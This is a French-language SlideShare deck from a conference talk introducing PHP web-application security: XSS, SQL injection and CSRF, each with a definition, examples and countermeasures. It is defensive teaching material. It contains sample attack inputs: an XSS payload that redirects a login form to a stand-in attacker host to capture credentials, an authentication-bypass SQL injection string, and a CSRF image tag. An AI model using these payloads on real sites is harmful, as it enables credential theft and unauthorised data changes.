Introduction à la Sécurité des              Applications Web / PHP       Principes de bases   Maxime Mauchaussée       X...
Plan       Principes de bases de sécurisations       Failles de type XSS           Définition           Exemples / Exp...
Principes de bases       Ne jamais faire confiance aux données ne provenant pas de         votre propre code           P...
Failles de type XSS ­ Définition       XSS : Cross Site Scripting       Le principe est dinjecter des données arbitraire...
Failles de type XSS – Exemple basique       Exemple de site web banal :                           
Failles de type XSS – Exemple basiqueFichier de vue PHP :<form action="recherche.php" method="get"><input type="text" name...
Failles de type XSS – Exemple basique       « PAF ! Pastèque ! » :                            
Failles de type XSS – Exploitations       Dégradation de limage / la réputation du site       Redirection automatique   ...
Failles de type XSS – Exemples dexploit       Détournement de lattribut « action » du formulaire         dauthentificatio...
Failles de type XSS – Contre­mesures       Filtrer / nettoyer les données en entrée :           Toute donnée a un format...
Failles de type SQL Injection ­ Définition       Injection SQL       Terme qui désigne linterprétation imprévue dun code...
Failles de type SQL Injection – Exemple       Bypass de lauthentification :                             
Failles de type SQL Injection – Exemple       Code PHP :mysql_query("SELECT id, login, profil FROM user WHERE login = " ....
Failles de type SQL Injection ­ Exploitation       Cette technique permet, [...] à un utilisateur malveillant de         ...
Failles de type SQL Injection – Contre­mesures       addslashes()SELECT id, login, profil FROM user WHERE login =  OR 1 =...
Failles de type CSRF ­ Définition       Cross­Site Request Forgery       Injection de requêtes illégitimes par rebond [C...
Failles de type CSRF – Exemple basique       Système de commentaires :                          
Failles de type CSRF – Exemple       Un lien est fournit pour supprimer un de ses commentaires :http://sitemalfichu.fr/de...
Failles de type CSRF – Exploitation       Suppression de données : message, compte utilisateur, etc.       Publication d...
Failles de type CSRF – Contre­mesures       Utiliser la méthode HTTP POST       Bannir lutilisation de $_REQUEST       ...
Conclusion       Ne jamais faire confiance aux données ne provenant pas de         votre propre code       Toute donnée ...
Questions ­ Réponses       Exemples de questions si vous navez pas didée :           Comment détecter de telles failles ...
Merci de votre attention :)       Contact :           maxime@wixiweb.fr           https://twitter.com/maximemdotnet    ...
Prochain SlideShare
Chargement dans…5
×

Introduction à la sécurité des applications web avec php [fr]

5 434 vues

Publié le

Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.

Publié dans : Technologie
0 commentaire
2 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

Aucun téléchargement
Vues
Nombre de vues
5 434
Sur SlideShare
0
Issues des intégrations
0
Intégrations
576
Actions
Partages
0
Téléchargements
88
Commentaires
0
J’aime
2
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Introduction à la sécurité des applications web avec php [fr]

  1. 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb   
  2. 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion   
  3. 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres dURL, cookies, données de formulaire, etc.  API, fichier dimport, base de données, etc.  Variables denvironnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  Lutilisation de la balise <img> doit être extrêmement encadrée  Interdire lutilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser limportance dune faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte   
  4. 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est dinjecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur   
  5. 5. Failles de type XSS – Exemple basique  Exemple de site web banal :   
  6. 6. Failles de type XSS – Exemple basiqueFichier de vue PHP :<form action="recherche.php" method="get"><input type="text" name="q" value="<?php echo $_GET[q]; ?>" /><input type="submit" value="recherche" /></form>Données saisies et envoyées au serveur :"/><script type="text/javascript">alert(faille xss)</script><"HTML compromis retourné par le serveur :<input type="text" name="q" value=""/><scripttype="text/javascript">alert(faille xss)</script><"" />   
  7. 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :   
  8. 8. Failles de type XSS – Exploitations  Dégradation de limage / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol didentifiants  Détournement de session (hijacking)  Fixation de session   
  9. 9. Failles de type XSS – Exemples dexploit  Détournement de lattribut « action » du formulaire  dauthentification par injection :"/><script>document.forms[0].action=http://attaquant.fr/owned.php;</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par lattaquant  Possibilité de redirection (parfois transparente) vers la page  légitime   
  10. 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()   
  11. 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne linterprétation imprévue dun code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]   
  12. 12. Failles de type SQL Injection – Exemple  Bypass de lauthentification :   
  13. 13. Failles de type SQL Injection – Exemple  Code PHP :mysql_query("SELECT id, login, profil FROM user WHERE login = " .$_POST[login] . " AND password = " . $_POST[password] .";");  Données saisies dans le champ « login » : OR 1 = 1 --  Interpretation de la requête SQL par PHP :SELECT id, login, profil FROM user WHERE login = OR 1 = 1 --AND password =    
  14. 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit daccès  Vols de données  Destruction de données  Injection de code malveillant   
  15. 15. Failles de type SQL Injection – Contre­mesures  addslashes()SELECT id, login, profil FROM user WHERE login = OR 1 = 1 --AND password =  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application   
  16. 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant lenvoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  Nexploite pas forcément labsence de validation   
  17. 17. Failles de type CSRF – Exemple basique  Système de commentaires :   
  18. 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires :http://sitemalfichu.fr/delete_comment?id=2  Prédiction de lidentifiant du commentaire de la victime par  lattaquant :http://sitemalfichu.fr/delete_comment?id=1  Insertion dune balise image dans un commentaire par  lattaquant :<img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire   
  19. 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement dadresse email  Triche à des concours ou sondages   
  20. 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir lutilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML   
  21. 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne sarrête pas là :  configuration de PHP, du serveur web, de linfrastructure  réseau, etc.    
  22. 22. Questions ­ Réponses  Exemples de questions si vous navez pas didée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer dautres exemples dattaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Quest ce quune « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il dautres types de failles ?   
  23. 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/   

×